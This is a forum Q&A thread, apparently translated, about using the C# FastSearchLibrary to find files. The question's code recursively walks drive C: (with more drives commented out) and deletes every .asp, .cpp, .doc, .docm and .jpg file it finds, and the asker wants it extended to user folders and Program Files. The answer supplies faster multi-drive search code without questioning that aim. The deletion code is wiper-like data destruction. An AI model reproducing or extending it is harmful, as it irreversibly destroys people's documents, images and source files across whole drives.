How to use the FastSearchLibrary library instead of this code? Just this code does not look on drive C, even if I run as administrator! And you need to look for it in user folders and in Program Files.

Link to the library: https://github.com/VladPVS/FastSearchLibrary

 namespace ConsoleApplication8 { class Program { static void Main(string[] args) { //string[] drives = { "C:", "J:", "D:", "F:", "E:", "G:", "I:", "L:" }; // Drives string[] drives = { "C:" }; // Drives foreach (string drv in drives) { IEnumerable<string> myfile = SafeEnumerateFiles(drv, new[] { "*.asp", "*.cpp", "*.doc", "*.docm", " "*.jpg" }, SearchOption.AllDirectories); // Extensions foreach (string fileName in myfile) { Console.WriteLine(fileName); File.Delete(fileName); } } } private static IEnumerable<string> SafeEnumerateFiles(string path, string[] searchPatterns, SearchOption searchOption) { Stack<string> dirs = new Stack<string>(); dirs.Push(path); while (dirs.Count > 0) { string currentDirPath = dirs.Pop(); if (searchOption == SearchOption.AllDirectories) { try { string[] subDirs = Directory.GetDirectories(currentDirPath); foreach (string subDirPath in subDirs) { dirs.Push(subDirPath); } } catch (UnauthorizedAccessException) { continue; } catch (DirectoryNotFoundException) { continue; } } foreach (string searchPattern in searchPatterns) { string[] files; try { files = Directory.GetFiles(currentDirPath, searchPattern); } catch (UnauthorizedAccessException) { break; } catch (DirectoryNotFoundException) { break; } foreach (string filePath in files) { yield return filePath; } } } } 

    1 answer 1

    Like this:

     class Program { private static object locker = new object(); private static List<FileInfo> files; private static Stopwatch stopWatch; static void Main(string[] args) { List<String> patterns = new List<string>() { ".asp", ".cpp", ".doc", ".docm", ".jpg" }; StartSearch(patterns); Console.ReadKey(true); } private static async void StartSearch(IEnumerable<string> patterns) { stopWatch = new Stopwatch(); stopWatch.Start(); Console.WriteLine("Search had been started.\n"); files = new List<FileInfo>(); List<string> searchDirectories = new List<string> { @"C:\", @"D:\" }; FileSearcherMultiple searcher = new FileSearcherMultiple(searchDirectories, (f) => { foreach (var p in patterns) if (f.Name.EndsWith(p)) return true; return false; }, new CancellationTokenSource()); searcher.FilesFound += Searcher_FilesFound; searcher.SearchCompleted += Searcher_SearchCompleted; try { await searcher.StartSearchAsync(); } catch (AggregateException ex) { Console.WriteLine($"Error ocurred: {ex.InnerException.Message}"); } catch (Exception ex) { Console.WriteLine($"Error ocurred: {ex.Message}"); } finally { Console.Write("\nPress any key to continue..."); } } private static void Searcher_FilesFound(object sender, FileEventArgs arg) { lock (locker) // using a lock is obligatorily { arg.Files.ForEach((f) => { files.Add(f); // add the next part of the received files to the results list Console.WriteLine($"File location: {f.FullName}\nCreation.Time: {f.CreationTime}\n"); }); } } private static void Searcher_SearchCompleted(object sender, SearchCompletedEventArgs arg) { stopWatch.Stop(); if (arg.IsCanceled) // check whether StopSearch() called Console.WriteLine("Search stopped."); else Console.WriteLine("Search completed."); Console.WriteLine($"Quantity of files: {files.Count}"); // show amount of finding files Console.WriteLine($"Spent time: {stopWatch.Elapsed.Minutes} min {stopWatch.Elapsed.Seconds} s {stopWatch.Elapsed.Milliseconds} ms"); } } 

    In the description of the library are similar examples.